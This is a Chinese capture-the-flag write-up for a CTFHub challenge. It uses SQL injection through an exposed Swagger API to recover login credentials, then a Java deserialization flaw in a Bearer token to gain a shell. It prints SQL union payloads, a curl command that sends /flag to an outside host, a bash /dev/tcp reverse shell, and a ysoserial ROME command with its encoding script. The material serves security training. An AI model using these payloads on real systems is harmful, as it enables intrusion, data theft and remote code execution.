目录
唉,做ctfhub这道题的时候,发现网上几乎都是跟风用的
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME "curl xx.xx.xx.xx:xxxx -d @/flag" | base64 -w 0
这个命令来直接读取根目录下的flag,我看了buuctf上的这道题因为flag就在跟目录下,flag的名称并没有变化,故可以直接读到flag。
但ctfhub上这道题,题目已经提示了flag在根目录下,且flag名字是随机的,故用该方法并不能直接读取到flag,所以只有反弹shell的命令来cat flag。
1、打开靶机
1.1、下载附件
附件为.class文件
用jd-gui打开
2、分析
Swagger
Swagger 是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。总体目标是使客户端和文件系统作为服务器以同样的速度来更新。文件的方法,参数和模型紧密集成到服务器端的代码,允许API来始终保持同步。
Swagger UI 提供了一个可视化的UI页面展示描述文件。接口的调用方、测试、项目经理等都可以在该页面中对相关接口进行查阅和做一些简单的接口请求。该项目支持在线导入描述文件和本地部署UI项目。
访问/swagger-ui.html
页面,得到如下三支接口/common/user/current
/common/user/login
/common/test/sqlDict
查看源码,存在sql注入,当前表为myapp
3、注入得账号密码
sql注入payload:
获取username:
myapp?jilei=1' union select name from user #
username:ctfhub
获取password:
myapp?jilei=1' union select pwd from user #
password:ctfhub_13788_6908
登录验证:
登录成功,并且data返回的数据包为:
Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABmN0Zmh1Yg==
4、发现java反序列化漏洞
rO0AB格式为java序列化->base64的格式所以可能会有反序列化漏洞
将data数据上送给获取当前用户接口,发现请求成功,并返回了当前用户的用户名,因此判断该接口中进行了Java对象的反序列化。
5、反弹shell拿flag
因为题目提示flag在根目录且名字为随机的,故只有反弹shell然后cat flag
利用到的工具:ysoserial
反弹shell:
bash -i >& /dev/tcp/自己服务器的ip/端口 0>&1
将上面命令base64加密之后得到:
YmFzaCAtaSA+JiAvZGV2L3RjcC/oh6rlt7HmnI3liqHlmajnmoRpcC/nq6/lj6MgMD4mMQ==
反弹shell:
java -jar ysoserial-all.jar ROME "bash -c {echo,编码后的内容}|{base64,-d}|{bash,-i}" > 1.bin
因为序列化之后得到的1.bin是二进制文件,故这里还需要编码为base64格式
bin转base64代码
import base64
fin = open(r"1.bin", "rb")
fout = open(r"payload.txt", "wb")
base64.encode(fin, fout)
fin.close()
fout.close()
nc监听2333端口
利用工具进行java序列化
得到一个1.bin的文件
再将该文件进行base64加密
得到反弹shell的payload
将该payload的值传进/common/user/current
进行反弹shell
注意:要在前面加上Bearer
执行之后成功弹回shell
查看flag